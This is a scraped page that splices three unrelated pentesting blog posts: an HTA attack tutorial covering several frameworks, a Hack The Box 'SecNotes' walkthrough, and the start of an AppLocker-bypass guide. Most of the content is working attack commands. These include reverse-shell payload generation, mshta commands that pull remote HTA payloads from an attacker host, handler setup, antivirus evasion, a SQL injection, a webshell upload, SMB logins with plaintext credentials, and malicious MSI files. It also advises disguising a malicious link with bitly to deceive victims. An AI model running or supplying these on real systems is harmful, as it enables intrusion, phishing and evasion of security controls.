After giving the URL it will ask you to select the type of meterpreter you want. Select the third one by typing 3.
![[Image: 8.png?w=687]](https://i1.wp.com/4.bp.blogspot.com/-5rnSz4tcyfo/XEa40iT1U2I/AAAAAAAAcPU/652vt9f0S309Le_JkEHCCeCuJAMmWbOygCLcBGAs/s1600/8.png?w=687)
Once you hit enter after typing 3, the process will start and you will have the handler (multi/handler)
![[Image: 9.png?w=687]](https://i0.wp.com/1.bp.blogspot.com/-EC6-U7Ar4cM/XEa403kG09I/AAAAAAAAcPY/OEVWgk6ghYwnURKk5F2nuU4SD3p_EkcRACLcBGAs/s1600/9.png?w=687)
Now convert your malicious IP into bitly link which will appear more genuine to victims when you will share this link with them.
![[Image: 10.png?w=687]](https://i0.wp.com/2.bp.blogspot.com/-ZUf9tF-4rm4/XEa4fPlqHqI/AAAAAAAAcM8/NwfWz0auFrAc_FH-pGwRLYCI3bMN__K1gCLcBGAs/s1600/10.png?w=687)
When the victim will browse above malicious link, the file will be saved and automatically executed in the victim’s PC after being saved; as shown in the image below:
![[Image: 11.png?w=687]](https://i2.wp.com/1.bp.blogspot.com/-Gi2Ez7XAwps/XEa4gXXoAOI/AAAAAAAAcNA/vPoloSV4XHkyBOYmYu7Ej_d8cLWadLVJwCLcBGAs/s1600/11.png?w=687)
Then you will have your meterpreter session. You can use the command ‘sysinfo’ to have the basic information about the victim’s PC.
![[Image: 12.png?w=687]](https://i0.wp.com/2.bp.blogspot.com/-xy8Fh45Jqds/XEa4h1ggVVI/AAAAAAAAcNI/__LBKDN7g-0Y6o3UTqNEc5ummCLd8a5BgCLcBGAs/s1600/12.png?w=687)
Magic Unicorn
Next method for HTA attack is using unicorn third-party tool. The tool magic unicorn is developed by Dave Kennedy. It is a user-friendly tool which allows us to perform HTA attack by injecting shellcode straight into memory. The best part of this tool is that it’s compatible with Metasploit, along with shellcode and cobalt strike. You can have a detailed look at the software at trustedsec.com, and you can download the software from GitHub or just by using this link: [To see content please register here]
Once you have downloaded magic unicorn. Open it in the terminal of kali and type:
python unicorn.py windows/meterpreter/reverse_tcp 192.168.1.109 1234 hta
1
python unicorn.py windows/meterpreter/reverse_tcp 192.168.1.109 1234 hta
![[Image: 13.png?w=687]](https://i1.wp.com/1.bp.blogspot.com/-Hl1aK5uLNF4/XEa4g0AZgJI/AAAAAAAAcNE/8ZPG7JGIpqw0R77a_mSgJUk-KQEkBC6ZQCLcBGAs/s1600/13.png?w=687)
Executing the above command will start the process to create a .hta file. The said .hta file will be created in a folder hta-attack/. Go into that folder and see the list of files created by typing following commands :
cd hta_attack/
ls
1
2
cd hta_attack/
ls
Now you will be able to see a .hta file i.e. Launcher.hta. Start the python server so the file can be shared. To do so, type :
python -m SimpleHTTPServer 80
1
python -m SimpleHTTPServer 80
![[Image: 14.png?w=687]](https://i1.wp.com/3.bp.blogspot.com/-0hsXIxZTGSM/XEa4h6YfbAI/AAAAAAAAcNM/yecemhMPQH4XuVxa4De8e5mDwEsxuHi3gCLcBGAs/s1600/14.png?w=687)
Once the server is up and running execute the following command in the cmd prompt of the victim’s PC :
mshta.exe //192.168.1.109/Launcher.hta
1
mshta.exe //192.168.1.109/Launcher.hta
![[Image: 15.png?w=687]](https://i1.wp.com/2.bp.blogspot.com/-DVhRZguXQ6Y/XEa4iBfgZAI/AAAAAAAAcNQ/8OZTcdBIW3odeKG2muDWQn-WJwFyH961ACLcBGAs/s1600/15.png?w=687)
When the above command will be executed, you will have your session activated in the multi/handler. To access the session, type :
sessions 1
1
sessions 1
![[Image: 16.png?w=687]](https://i1.wp.com/3.bp.blogspot.com/-kLj4RYTxdOc/XEa4joSVfAI/AAAAAAAAcNU/4CMA3y6S5pU8qkEDMgC2orqfuj61uye6gCLcBGAs/s1600/16.png?w=687)
MSFVenom
The next method of HTA attack is by manually creating a .hta file through msfvenom. Create a .hta file, type the following command in the terminal of kali:
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.109 lport=1234 -f hta-psh > shell.hta
1
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.109 lport=1234 -f hta-psh > shell.hta
Executing the above command will create a .hta file which you can use to your advantage. After creating the file, turn on the python server to share the file to victim’s PC by typing:
python -m SimpleHTTPServer 80
1
python -m SimpleHTTPServer 80
![[Image: 17.png?w=687]](https://i2.wp.com/4.bp.blogspot.com/-Ruv-nD7OyqE/XEa4k7Hm_xI/AAAAAAAAcNc/Kc2M93g27QwJzAVKtJoPxJFHGQiDzIEzgCLcBGAs/s1600/17.png?w=687)
Run the above file by typing:
mshta.exe 192.168.1.109/shell.hta
1
mshta.exe 192.168.1.109/shell.hta
![[Image: 18.png?w=687]](https://i2.wp.com/1.bp.blogspot.com/-Qj6fHpGuWL4/XEa4j99HmxI/AAAAAAAAcNY/pkaH-w7FCMUSohA0Xh_3j3qnbOAyaUoXwCLcBGAs/s1600/18.png?w=687)
Simultaneously, start your handler to receive a session when you run the above file in the victim’s cmd prompt. To start the multi/handler type:
use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 192.168.1.109
msf exploit(multi/handler) > set lport 1234
msf exploit(multi/handler) > exploit
1
2
3
4
5
use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 192.168.1.109
msf exploit(multi/handler) > set lport 1234
msf exploit(multi/handler) > exploit
And so, with using such an easy method, you will have your session of meterpreter. You can use sysinfo to know the basics of the victim’s PC.
![[Image: 19.png?w=687]](https://i2.wp.com/3.bp.blogspot.com/-weCni1uv0YE/XEa4mB8_HRI/AAAAAAAAcNg/HkuFwNOjdlEdp2C1paPWPjA2-h-VE7P5ACLcBGAs/s1600/19.png?w=687)
PowerShell Empire
For our next method of HTA Attack, we will use empire. Empire is a post-exploitation framework. Till now we have paired our hta tacks with Metasploit but in this method, we will use empire framework. It’s solely python based PowerShell windows agent which make it quite useful. Empire is developed by @harmj0y, @sixdub, @enigma0x3, rvrsh3ll, @killswitch_gui, and @xorrior. You can download this framework from [To see content please register here] .
To have a basic guide of Empire, please visit our article introducing empire:
[To see content please register here]
Once the empire framework is started, type listener to check if there are any active listeners. As you can see in the image below that there are no active listeners. So to set up a listener type :
uselistener http
set Host //192.168.1.109
set port 80
execute
1
2
3
4
uselistener http
set Host //192.168.1.109
set port 80
execute
With the above commands, you will have an active listener. Type back to go out of listener so that you can initiate your PowerShell
![[Image: 20.png?w=687]](https://i2.wp.com/4.bp.blogspot.com/-AIXTBWfZ_84/XEa4nmYvuhI/AAAAAAAAcNo/QWOzKjC5YQoLAM0JxgOVkzpaC1AtkxUcACLcBGAs/s1600/20.png?w=687)
For our HTA attack, we will use a stager. A stager, an empire, is a snippet of code that allows our malicious code to be run via the agent on the compromised host. So, for this type:
usestager windows/hta
set Listener http
set OutFile /root/Desktop/1.hta
execute
1
2
3
4
usestager windows/hta
set Listener http
set OutFile /root/Desktop/1.hta
execute
usestager will create a malicious code file that will be saved in the outfile named 1.hta. And once the file runs, we will have the result on our listener. Run the file in your victim’s by typing the following command :
mshta.exe //192.168.1.109:8080/1.hta
1
mshta.exe //192.168.1.109:8080/1.hta
![[Image: 21.png?w=687]](https://i1.wp.com/3.bp.blogspot.com/-mxMAp_9Dp_c/XEa4orPArxI/AAAAAAAAcNw/citfmcvjfNQ_TgZWu-CIJ1_OODIMO_SVgCLcBGAs/s1600/21.png?w=687)
To see if we have any session open type ‘agents’. Doing so will show you the name of the session you have. To access that session type :
interact L924Z1WR
1
interact L924Z1WR
The above command will give you access to the session.
sysinfo
info
1
2
sysinfo
info
![[Image: 22.png?w=687]](https://i2.wp.com/3.bp.blogspot.com/-wuYB8QzSaNk/XEa4oiloI5I/AAAAAAAAcNs/CigC7jOD0E0i8n-bH8k1lVHUwj_S1rihQCLcBGAs/s1600/22.png?w=687)
Cactustorch
Cactustorch is a framework for javascript and VBScript shellcode launcher. It is developed by Vincent Yiu. This tool can bypass many common defenses which is an advantage for us till now. The major to thing to note is that the code we use in cactustorch is made through msfvenom and then encoded into Base64 as it only supports that.
So, to start with let’s first make our malware and then encrypt it.
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.109 lport=1234 -f raw > 1.bin
1
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.109 lport=1234 -f raw > 1.bin
Now to encrypt the file type:
cat 1.bin |base64 -w 0
1
cat 1.bin |base64 -w 0
Copy the base64 code as it is to be used later.
![[Image: 23.png?w=687]](https://i2.wp.com/3.bp.blogspot.com/-87EZJz-cWRo/XEa4pA5n6qI/AAAAAAAAcN0/f1kaAzlHRRs_Ad9Wcw5ZVBhOVhJYVShIACLcBGAs/s1600/23.png?w=687)
Now that we have our malware ready, let’s download cactustorch. You can download it from here:
[To see content please register here]
Once it’s installed type the following to the content of the folder installed:
ls -la
./CACTUSTORCH.hta
1
2
ls -la
./CACTUSTORCH.hta
The above command will start cactustorch for hta attack.
![[Image: 24.png?w=687]](https://i1.wp.com/3.bp.blogspot.com/-Jq1Eyqo6DqA/XEa4psq_dGI/AAAAAAAAcN4/QBASalkrPZcjLy9yP1IlheWgvg6dFGvtgCLcBGAs/s1600/24.png?w=687)
Once the cactustorch starts, paste the base64 code, at the highlighted space as shown in the image below, which was copied earlier.
![[Image: 25.png?w=687]](https://i1.wp.com/2.bp.blogspot.com/-Ix9sXpDS_RI/XEa4rDPZZiI/AAAAAAAAcN8/c2due1mwDCoapkC0Eils9Q36BUtXpeWYQCLcBGAs/s1600/25.png?w=687)
As we have added our code, let’s execute the file in our victim’s PC by typing:
mshta.exe //192.168.1.109/CACTUSTORCH.hta
1
mshta.exe //192.168.1.109/CACTUSTORCH.hta
![[Image: 26.png?w=687]](https://i0.wp.com/1.bp.blogspot.com/-hQC98X_i1Fs/XEa4sXGF2VI/AAAAAAAAcOE/35Y6da3RfZAnW3bHkb05ykudym3nXHzmgCLcBGAs/s1600/26.png?w=687)
Simultaneously, start your multi/handler to receive a session. For multi/handler type:
use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 192.168.1.109
msf exploit(multi/handler) > set lport 1234
msf exploit(multi/handler) > exploit
1
2
3
4
5
use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 192.168.1.109
msf exploit(multi/handler) > set lport 1234
msf exploit(multi/handler) > exploit
Once you execute the file in the victim’s PC, you will have your session.
![[Image: 27.png?w=687]](https://i1.wp.com/1.bp.blogspot.com/-_J-cJ4YtRiQ/XEa4sVvkwtI/AAAAAAAAcOA/B-7TOqf844Aj0aBCVk_jPNVIVM-oK5ORACLcBGAs/s1600/27.png?w=687)
Koadic
Our next method is using Koadic. Koadic, or COM Command & Control, is a Windows post-exploitation rootkit similar to other penetration testing tools such as Meterpreter and Powershell Empire. To know more about Koadic please read our detailed articled on the said framework through this link: [To see content please register here]
Once the koadic is up and running, type info to get a list of details you need to provide in order to have a session. Through info, you know that you need to provide srvhost along with setting endpoint. So to set them type :
set srvhost 192.168.1.107
set ENDPOINT sales
run
1
2
3
set srvhost 192.168.1.107
set ENDPOINT sales
run
![[Image: 28.png?w=687]](https://i0.wp.com/2.bp.blogspot.com/-gKBWN2C-hl4/XEa4tixIVEI/AAAAAAAAcOI/S8moLrT3pIMAaULkPpB8XPRHcEApXRGKACLcBGAs/s1600/28.png?w=687)
Execute you’re the file in your victim’s PC by typing:
//192.168.1.107:9999/sales
1
//192.168.1.107:9999/sales
![[Image: 29.png?w=687]](https://i2.wp.com/3.bp.blogspot.com/-aQJvNkgIDmE/XEa4uU6h-5I/AAAAAAAAcOM/r-weqDuuYnEcPuSfcDajgMTDCM0M1zL9gCLcBGAs/s1600/29.png?w=687)
And you will have a session up and running. To know the name of session type:
zombies
1
zombies
And now to access the session type:
zombies 0
1
zombies 0
![[Image: 30.png?w=687]](https://i1.wp.com/2.bp.blogspot.com/-VBiC3oQAf_w/XEa4v8k76DI/AAAAAAAAcOY/WnPXnnqoggcHD135E38kgk5LWU3V7RMbQCLcBGAs/s1600/30.png?w=687)
GreatSCT
GreatSCT is a tool that allows you to use Metasploit exploits and lets it bypass most anti-viruses. GreatSCT is current under support by @ConsciousHacker. You can download it from here: //github.com/GreatSCT/GreatSCT
Once it’s downloaded and running, type the following command to access the modules:
use Bypass
1
use Bypass
![[Image: 31.png?w=687]](https://i1.wp.com/4.bp.blogspot.com/-I0-wO2wH8xY/XEa4wc64lWI/AAAAAAAAcOc/I9aDXcqwrEEfGGQoY1JhX0rUoFYXfRa2QCLcBGAs/s1600/31.png?w=687)
Now to see the list of payloads type :
list
1
list
![[Image: 32.png?w=687]](https://i2.wp.com/2.bp.blogspot.com/-kG_Tgdt0_C0/XEa4wldPjZI/AAAAAAAAcOg/nrSeamoMGGI9x9wmMPD8kYEn5HvvP06GwCLcBGAs/s1600/32.png?w=687)
Now from the list of payloads, you can choose anyone for your desired attack. But for this attack we will use :
use mshta/shellcode_inject/base64_migrate.py
1
use mshta/shellcode_inject/base64_migrate.py
![[Image: 33.png?w=687]](https://i1.wp.com/4.bp.blogspot.com/-6lr_UKZfkIQ/XEa4xZjbjzI/AAAAAAAAcOk/LSltuoKcX7olOtRA1veIk5bVmmYpNVXBQCLcBGAs/s1600/33.png?w=687)
Once the command is executed, type :
generate
1
generate
![[Image: 34.png?w=687]](https://i2.wp.com/4.bp.blogspot.com/-y83SKj92910/XEa4x2qETxI/AAAAAAAAcOo/7fiUHrrA9vYOPoJnJYBu_bckn6O2FEzFQCLcBGAs/s1600/34.png?w=687)
After executing generate command, it asks you which method you want to use. As we are going to use msfvenom type 1 to choose the first option. Then press enter for meterpreter. Then provide lhost and lport i.e. 192.168.1.107 and 4321 respectively.
![[Image: 35.png?w=687]](https://i1.wp.com/2.bp.blogspot.com/-yK4NIRTR3RE/XEa4x9qhFYI/AAAAAAAAcOs/M6_dp8UYmUoisfGRfrhHwwN0Cl63Bci7ACLcBGAs/s1600/35.png?w=687)
When generating the shellcode, it will ask you to give a name for a payload. By default, it will take ‘payload’ as a name. As I didn’t want to give any name, I simply pressed enter.
![[Image: 36.png?w=687]](https://i2.wp.com/4.bp.blogspot.com/-CYixhMqZUr4/XEa4yHXcrnI/AAAAAAAAcOw/ByPXIGWiKHQh0DXX9bIrbznYl65Pf1JhQCLcBGAs/s1600/36.png?w=687)
Now, it made two files. One resource file and other an hta file.
![[Image: 37.png?w=687]](https://i2.wp.com/3.bp.blogspot.com/-2l-WPX5RMGA/XEa4ybiYyAI/AAAAAAAAcO0/qPHfbCPSa9Qb2TzTJdWhzjyi2K3bSbvTwCLcBGAs/s1600/37.png?w=687)
Now, firstly, start the python’s server in /usr/share/greatsct-output by typing:
python -m SimpleHTTPServer 80
1
python -m SimpleHTTPServer 80
![[Image: 38.png?w=687]](https://i0.wp.com/4.bp.blogspot.com/-SGetKUupazE/XEa4ybiRhKI/AAAAAAAAcO4/-kGjiShuTiIfuwc14zvVfHbP-O3yrzZDQCLcBGAs/s1600/38.png?w=687)
Now execute the hta file in the command prompt of the victim’s PC.
![[Image: 39.png?w=687]](https://i1.wp.com/4.bp.blogspot.com/-4Vgo2-dOUy4/XEa4zY3ktqI/AAAAAAAAcO8/hC3W3p0ct_EKpgZvsHJdWgBPLDo940v6gCLcBGAs/s1600/39.png?w=687)
Simultaneously, start the multi/handler using recourse file. For this, type :
msfconsole -r /usr/share/greatsct-output/handlers/payload.rc
1
msfconsole -r /usr/share/greatsct-output/handlers/payload.rc
And voila! You have your session.
![[Image: 40.png?w=687]](https://i2.wp.com/3.bp.blogspot.com/-kt3wGZrAMzU/XEa4zvaCKQI/AAAAAAAAcPE/fnVyDnLVUy0PDW4YqgqOJKp8SwiJJwOWwCLcBGAs/s1600/40.png?w=687)
Conclusion
So basically, this type of attack is a simple HTA attack provide full access to the remote attacker. An attacker can create a malicious application for the Windows operating system using web technologies to clone a site. In a nutshell, it performs PowerShell injection through HTA files which can be used for Windows-based PowerShell exploitation through the browser. And the above are the methods used for the attack. As they say, if one door closes another opens; therefore when the same attack is learned through different ways are often convenient.
Today we are going to solve another CTF challenge “SecNotes”. SecNotes is a retired vulnerable lab presented by Hack the Box for helping pentesters to perform online penetration testing according to their experience. They have a collection of vulnerable labs as challenges; ranging from beginners to expert level.
Level: Easy
Task: To find user.txt and root.txt file
Penetration Methodology:
- Scanning Network
- TCP and UDP ports scanning (nmap).
- Testing port 80
- Exploiting 2nd order SQL injection on sign up form.
- Retrieving all the notes in the system.
- Retrieving “tyler’s” account password.
- SMB (port 445) penetration
- Accessing victim shell using smbclient.
- Uploading simple-backdoor.php on victim’s machine.
- Triggering backdoor via a browser.
- Exploiting newly created RCE using Metasploit’s smb_delivery exploit.
- Reading the user.txt flag.
- Privilege Escalation
- Discovering a Windows Subsystem for Linux (WSL).
- Obtaining bash shell from bash.exe.
- Reading administrator password from bash_history.
- Connecting to Administrator using SMB.
- Reading root.txt flag.
Without any further ado, let’s dive right into it.
The first step as always is to perform a nmap scan. We performed an all ports system scan here.
nmap -p- -sV 10.10.10.97
1
nmap -p- -sV 10.10.10.97
That told us there are three ports open:
80- web server
445- smb server
8808- web server
![[Image: 1.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-6HLt5SxlG9I/XEYJ7jQXnRI/AAAAAAAAcLo/F77fKG49bhs1GSyB1ypZnrkBtKLHrtL5gCLcBGAs/s1600/1.png?w=687&ssl=1)
We launched the website on port 80 only to discover a login form.
After playing around with the page sources and source code checking we didn’t find anything useful.
![[Image: 2.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-ZWfgyhwI49s/XEYJ8l-53aI/AAAAAAAAcL4/qaEdtm29doscoeZelf-x9ErLk5qX0dSiQCLcBGAs/s1600/2.png?w=687&ssl=1)
But there was a sign-up option too. We signed up using a random name and password and it seemed to lead us to an account where you could take notes and delete them and also change the password.
We tried inserting SQL injection queries in the login form and nothing showed up. Then we tried inserting 2nd order SQL injection which is nothing but inserting SQL injection queries on the sign-up form itself hoping that the server side script shows any unusual behavior and reveals some database information.
According to PortSwigger: “Second-order SQL injection arises when user-supplied data is stored by the application and later incorporated into SQL queries in an unsafe way. To detect the vulnerability, it is normally necessary to submit suitable data in one location, and then use some other application function that processes the data in an unsafe way.”
The query that we used was:
Username: ' or 1='1
Password: ' or 1='1
Confirm password: ' or 1='1
1
2
3
Username: ' or 1='1
Password: ' or 1='1
Confirm password: ' or 1='1
![[Image: 3.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-b2p-79V-Ia0/XEYJ8xX68jI/AAAAAAAAcL8/HYbhA_3pecgPabZHYEt_FgR_s3DxHoZdACLcBGAs/s1600/3.png?w=687&ssl=1)
It hit successfully and opened up a user account. Seemed like the heading was causing this 2nd order SQLi vulnerability. But it solved our purpose and gave us three notes from the database. The third one had something that seemed like the username and password of a service.
\\secnotes.htb\new-site
tyler / 92g!mA8BGjOirkL%OG*&
1
2
\\secnotes.htb\new-site
tyler / 92g!mA8BGjOirkL%OG*&
![[Image: 4.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-GVDmirRxqKM/XEYJ9Y5nstI/AAAAAAAAcMA/bgggYr0byhsMopm7iYCFkLhFoG9MQUR5gCLcBGAs/s1600/4.png?w=687&ssl=1)
Tyler seems to be a person responsible for people’s queries. After obtaining Tyler’s password the first guess was logging into SMB server running on port 445.
For the purpose we used smbclient. Once we successfully logged into the system we listed the directories using ls command.
This seems like a different website than the one on port 80. Maybe this is the one on port 8808.
So, we uploaded a PHP RCE payload called “simple-backdoor.php” that is present in Kali Linux in the directory: “/usr/share/webshells/php” using the put command in smb shell which allows us to run windows commands remotely on the server.
smbclient –L 10.10.10.97 –U tyler
password: 92g!mA8BGjOirkL%OG*&
smbclient //10.10.10.97/new-site -U tyler
Password: 92g!mA8BGjOirkL%OG*&
ls
put simple-backdoor.php
ls
1
2
3
4
5
6
7
smbclient –L 10.10.10.97 –U tyler
password: 92g!mA8BGjOirkL%OG*&
smbclient //10.10.10.97/new-site -U tyler
Password: 92g!mA8BGjOirkL%OG*&
ls
put simple-backdoor.php
ls
![[Image: 5.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-3rxzSe0BKw8/XEYJ9wQIknI/AAAAAAAAcME/agX4KTXBico_L1h2SZsPcjqVDyNGFv_MQCLcBGAs/s1600/5.png?w=687&ssl=1)
It was now time to trigger the backdoor we just uploaded to check if RCE is even working or not on the server.
10.10.10.97:8808/simple-backdoor.php?cmd=whoami
1
10.10.10.97:8808/simple-backdoor.php?cmd=whoami
![[Image: 6.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-eSKhuGNWDCc/XEYJ9xbSzrI/AAAAAAAAcMI/E0TmnSUQ87EaTY_FOnrJI0omVoY1cPFuACLcBGAs/s1600/6.png?w=687&ssl=1)
It seems to be working just fine! Now on a new window in the terminal, we run Metasploit.
We are looking for an exploit called smb_delivery that triggers RCE on windows and gives a meterpreter session.
This is only one of the multiple ways through which you could exploit SMB. You can explore multiple ways to do so in our article (SMB penetration testing (Port 445)) [To see content please register here] .
So essentially what happens here is that after setting up an LHOST and SRVHOST MSF generates a one-liner that we’ll copy on the RCE vulnerability and will trigger and give us meterpreter.
use exploit/windows/smb/smb_delivery
set LHOST 10.10.14.9
set SRVHOST 10.10.14.9
exploit
1
2
3
4
use exploit/windows/smb/smb_delivery
set LHOST 10.10.14.9
set SRVHOST 10.10.14.9
exploit
![[Image: 7.1.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-KrceT-9Uf_4/XEYJ-Utc8TI/AAAAAAAAcMM/uP5rZdPYH4Es3eyMJpZ6WcX8ftiCLxCZQCLcBGAs/s1600/7.1.png?w=687&ssl=1)
Here, 10.10.14.9 is my local IP.
Alright, so we did as Metasploit asked us to do and ran the rundll32.exe command on the browser where we had RCE vulnerability.
![[Image: 7.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-R34WmgB1O10/XEYJ-vE9H-I/AAAAAAAAcMQ/BAMJ1lZGwWIdodWqOuRiZbWnzt_NUjQpgCLcBGAs/s1600/7.png?w=687&ssl=1)
Side by side, we checked our terminal and we had gained a meterpreter session! To confirm we are in the windows server we ran sysinfo and pwd to check the current directory we are in.
sysinfo
pwd
1
2
sysinfo
pwd
![[Image: 8.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-8B4_nHE-afk/XEYJ-2p6BzI/AAAAAAAAcMU/uvmbITpUDj8itcNF4RMzHNTWBzVsh_qjgCLcBGAs/s1600/8.png?w=687&ssl=1)
After playing around a while in the machine, we found user.txt on Tyler’s desktop! But we are only half done till now with no clue where to proceed ahead. Although, a file called bash.lnk caught our attention which is a link to bash and this is weird. What is a bash file doing on a windows system? We proceeded to download the link file on our system and read what’s in it.
cd Users
ls
cd tyler/Desktop
cat user.txt
download bash.lnk /root/
1
2
3
4
5
cd Users
ls
cd tyler/Desktop
cat user.txt
download bash.lnk /root/
![[Image: 9.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-XeXweFN6MTI/XEYJ_RiRIjI/AAAAAAAAcMY/yAwj-M-UqyAjWB2ugcV9mW0D0wU9Qbo2gCLcBGAs/s1600/9.png?w=687&ssl=1)
The language of the link file seemed quite unreadable so we used the strings command to read the bash.lnk file which eventually revealed a link to bash.exe!
strings bash.lnk
1
strings bash.lnk
![[Image: 11..png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-JnJbkR7R114/XEYJ7r5ZzsI/AAAAAAAAcLw/SPGpweqgYwMk6B7QoRzHIkrB_NGpAK8nwCLcBGAs/s1600/11..png?w=687&ssl=1)
We thought the path to bash.exe was C:\Windows\System32\bash.exe but it was not! The file was missing from the path. We didn’t want to traverse the whole system manually so instead, we used the where command.
Where command gave us the exact directory of bash.exe and after executing it, we received an improper teletype of bash!
We used the python one-liner to spawn a proper teletype and proceeded further to read bash_history.
It told us in clear text about a user Administrator and its password!
shell
where /R c:\ bash.exe
<running the bash.exe>
id
ls –la
cat .bash_history
1
2
3
4
5
6
shell
where /R c:\ bash.exe
<running the bash.exe>
id
ls –la
cat .bash_history
![[Image: 12.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-_bpw_TfgT5M/XEYJ7pI91_I/AAAAAAAAcLs/-_Umt6gLS1o7e5lioXZHR2bT6NaFitdFwCLcBGAs/s1600/12.png?w=687&ssl=1)
It is only obvious now that we have to login to Administrator using smbclient command we found in bash_history to get an admin’s smb shell!
Final steps: We traversed the directory to Administrator’s desktop and downloaded root.txt using smb’s “get” command. And there it was! The final flag!
smbclient –U 'administrator%u6!4Zwgw0M#^0Bf#Nwnh' \\\\10.10.10.97\\c$
ls
cd Users/Administrator/Desktop
ls
get root.txt
cat root.txt
1
2
3
4
5
6
smbclient –U 'administrator%u6!4Zwgw0M#^0Bf#Nwnh' \\\\10.10.10.97\\c$
ls
cd Users/Administrator/Desktop
ls
get root.txt
cat root.txt
![[Image: 13.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-R7wCr1yI1hk/XEYJ8uXjYhI/AAAAAAAAcL0/F2LTbHAroMwEZdTTqlwq-DydiMw8Kf2IwCLcBGAs/s1600/13.png?w=687&ssl=1)
Hope you enjoyed this walkthrough. Do leave a comment with your thoughts and have a nice day!
In our previous article, we had discussed on “Windows Applocker Policy – A Beginner’s Guide” as they define the AppLocker rules for your application control policies and how to work with them. But Today you will learn how to bypass Applocker policies. In this post, we have block “cmd.exe” file using Windows applocker Policy and try to bypass this restriction to get command prompt.
Table of Content
Associated file formats where Applocker is applicable
Challenge 1: – Bypass Applocker with .msi file to get CMD
Little-Bit more about MSI file
Multiple Methods to get CMD
- Generate a malicious .msi file with Msfvenom -1st Method
- Generate a malicious .msi file with Msfvenom -2nd Method
- Generate a malicious .msi file with Msfvenom -3rd Method
Challenge 2: – Make a local user member of the Administrative Group
- Generate Malicious .msi file with Msfvenom -4th Method
Associated file formats where Applocker is Applicable
Windows applocker is a security policy that was introduced in home windows 7 and windows server 2008 r2 as a method to restrict the usage of unwanted Programs. In this an administrator can restrict the execution of the following programs:
![[Image: 0.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-J08pyjnHolg/XEW3hysMHXI/AAAAAAAAcKU/pPikivwXwo4aKvO1yDd4nO1xVUMDPz9WwCLcBGAs/s1600/0.png?w=687&ssl=1)
It depends entirely on the system admin which program or script he wants to set the applocker policy for program restriction or execution. There could a situation where Command Prompt (cmd.exe), or Powershell or dll file or batch file or rundll32.exe or regsrv.32 or regasm and many more are blocked.
![[Image: 1.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-U2gAyRLKs2I/XEW3hSKY7iI/AAAAAAAAcKM/XrXXiB4M_Ooo8lnRxoRNXTpYsTbmDt_sgCLcBGAs/s1600/1.png?w=687&ssl=1)
Challenge 1: – Bypass Applocker with .msi file to get CMD
Let’s suppose you are in a similar situation where all the above-mentioned application is blocked and only Windows Installer file i.e. the .msi extension is allowed to run without any restrictions.
Then how will you use an MSI file to bypass these restrictions and get a full privilege shell?
Little-Bit more about MSI file
The MSI name comes from the original title of the program, Microsoft Installer. Since then the name has changed to Windows Installer. an MSI file extension file is a Windows Package Installer. An installation package contains all the information required to install or uninstall an application by Windows Installer. Each installation package contains a .msi file, which contains an installation database, a summary information stream and data streams for different parts of the installation.
The Windows Installer technology is divided into two parts that work in combination; these include a client-side installer service (Msiexec.exe) and a Microsoft Software Installation (MSI) package file. Windows Installer uses information contained in a package file to install the program.
The Msiexec.exe program is a component of Windows Installer. When it is called by Setup, Msiexec.exe uses Msi.dll to read the package (.msi) files, apply any transform (.mst) files, and incorporate command-line options supplied by Setup. The installer performs all installation-related tasks, including copying files to the hard disk, making registry modifications, creating shortcuts on the desktop, and displaying dialog boxes to prompt for user installation preferences when necessary.
When Windows Installer is installed on a computer, it changes the registered file type of .msi files so that if you double-click a .msi file, Msiexec.exe runs with that file.
Each MSI package file contains a relational-type database that stores instructions and data required to install (and remove) the program across many installation scenarios.
Multiple Methods to get CMD
Generate Malicious .msi file with Msfvenom -1st Method
Now let’s open a new terminal in Kali machine and generate a malicious MSI Package file as cmd.msi to get command prompt through it by utilizing the Windows/exec payload as follows:
msfvenom -p windows/exec CMD=cmd.exe -f msi > cmd.msi
python -m SimpleHTTPServer 80
1
2
msfvenom -p windows/exec CMD=cmd.exe -f msi > cmd.msi
python -m SimpleHTTPServer 80
Now transfer cmd.msi file in your Windows machine to obtain the command prompt shell as administrators. Here we have used Python HTTP server for sharing the file in the network.
![[Image: 2.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-1SunJIb05ts/XEW3kC56e1I/AAAAAAAAcKs/6h8lEaAs3rU28m04YFPiQc7yi6R_e38bQCLcBGAs/s1600/2.png?w=687&ssl=1)
Once you have downloaded the.msi file on your local machine (Windows OS where cmd.exe is blocked by admin), you can use the following syntax to run the msi file with msiexec.exe inside the run prompt.
Syntax: msiexec /quiet /i
msiexec /quiet /i C:\Users\raj\Desktop\cmd.msi
1
msiexec /quiet /i C:\Users\raj\Desktop\cmd.msi
![[Image: 3.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-0RaGIgP-pmo/XEW3kdGLlNI/AAAAAAAAcK0/uj-zYX52j-4uWXI5imggXz_dQa46Atk9ACLcBGAs/s1600/3.png?w=687&ssl=1)
As soon as you will hit the above-mentioned command inside run prompt, you will get the Command Prompt.
